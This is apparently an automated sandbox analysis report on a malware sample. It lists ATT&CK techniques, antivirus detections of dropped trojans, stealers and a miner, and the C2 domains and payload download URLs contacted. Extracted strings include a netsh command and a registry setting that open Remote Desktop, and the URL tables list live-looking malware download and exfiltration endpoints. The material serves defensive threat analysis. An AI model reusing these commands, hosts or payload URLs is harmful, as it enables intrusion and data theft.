y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0038EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0038EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0038DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0038DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	212 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	14 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	12 Scheduled Task/Job	12 Scheduled Task/Job	31 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	121 Software Packing	NTDS	961 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	12 Process Discovery	SSH	Keylogging	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	113 Masquerading	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	11 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	54%	Virustotal		Browse
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Program Files\Windows Media Player\graph\graph.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	70%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	70%	ReversingLabs	Win64.Trojan.Nekark

Name	IP	Active	Malicious	Reputation
home.fivetk5ht.top	185.121.15.192	true	false	high
treehoneyi.click	172.67.180.113	true	false	high
cheapptaxysu.click	104.21.67.146	true	false	high
ipinfo.io	34.117.59.81	true	false	high
drive.google.com	172.217.17.46	true	false	high
drive.usercontent.google.com	172.217.17.65	true	false	high
api.telegram.org	149.154.167.220	true	false	high
httpbin.org	34.226.108.155	true	false	high

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
https://ipinfo.io/json	false	high
http://31.41.244.11/files/karl/random.exe	false	high
energyaffai.lat	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high
https://httpbin.org/ip	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	0516ff61af.exe, 00000007.00000003.2478796488.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2479349840.000000000140C000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2479498664.0000000001422000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ipinfo.io/missingauth	6eea3e30e9.exe, 0000000C.00000003.2694150610.00000247A067A000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737853612.000001FED9E00000.00000004.00000020.00020000.00000000.sdmp, json[1].json.12.dr	false	high
https://duckduckgo.com/ac/?q=	0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click	0516ff61af.exe, 00000007.00000003.2605595676.000000000142B000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605393319.0000000001422000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2609253433.0000000001433000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605141063.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ipinfo.io/jsonN/Aipcountry	6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp	false	high
https://link.storjshare.io/s/jx3obcnqgxa2u364c52wel6vrxba/cardan-shafts/Trazor%20(Software).zip?down	6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp	false	high
https://link.storjshare.io/s/jvrb5lh3pynx3et56bisfuuguvoq/cardan-shafts/Electrum%20(Software)(1).zip	6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp	false	high
https://docs.google.com/	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://payments.goo	6eea3e30e9.exe, 0000000C.00000003.2592579422.000002479E967000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592616137.000002479E96F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.telegram.org/pb	6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ipinfo.io/json_	6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstoreu	6eea3e30e9.exe, 0000000C.00000003.2592025523.000002479E968000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592070604.000002479E984000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sandbox.google.com/payments/v4/js/integrator.js1BACCDE8yst	6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/karl/random.exeSSC:	skotes.exe, 00000006.00000002.2990887486.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ipinfo.io/jsonj1O	6eea3e30e9.exe, 0000000C.00000003.2694074439.000002479E9C5000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9AC000.00000004.00000020.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argume4	1b73492cb0.exe, 0000002D.00000002.2992166550.000000000194E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://chrome.google.com/webstoreb	6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605292956.000001FED92DE000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/X	6eea3e30e9.exe, 0000000D.00000003.2605342438.000001FED92A1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604805622.000001FED92A0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exeh	skotes.exe, 00000006.00000002.2990887486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://drive-daily-2.corp.google.com/	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://payments.google.com/payments/v4/js/integrator.js	6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E949000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604332884.000001FED92A4000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604415171.000001FED92AA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603779683.000001FED92AB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604675756.000001FED92B0000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exei	skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exe_	skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	false	high
https://drive.google.com/uc?id=	6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-1.corp.google.com/	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/api6	ed15fdf974.exe, 0000002F.00000002.2988356074.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.cloudflare.com/5xx-error-landing	0516ff61af.exe, 00000007.00000003.2478796488.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2478761331.0000000001425000.00000004.00000020.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argume	1b73492cb0.exe, 0000002D.00000002.2992166550.000000000194E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://httpbin.org/ipbefore	1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	false	high
https://treehoneyi.click/api	ed15fdf974.exe, 0000002F.00000002.2988356074.0000000001128000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/77	0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ipinfo.io/	6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9AC000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9348000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2716079916.000001FED9348000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92DC000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737853612.000001FED9E00000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9268000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2990887486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstoreD	6eea3e30e9.exe, 0000000C.00000003.2592212871.000002479E985000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592697045.000002479E991000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592794468.000002479E998000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive-preprod.co	6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.telegram.org/-application-key	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9307000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive-preprod.corp.google.com/	6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0516ff61af.exe, 00000007.00000003.2503512455.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	false	high
https://sandbox.google.com/	6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605040503.000001FED92BB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605342438.000001FED92A1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605438280.000001FED92CD000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604623251.000001FED92BA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604805622.000001FED92A0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/rn	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://html4/loose.dtd	1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/j	6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive-autopush.co	6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9297000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/r	6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.rs/getrandom#nodejs-es-module-support	ed15fdf974.exe, 0000002F.00000002.2985885573.000000000085F000.00000002.00000001.01000000.00000015.sdmp	false	high
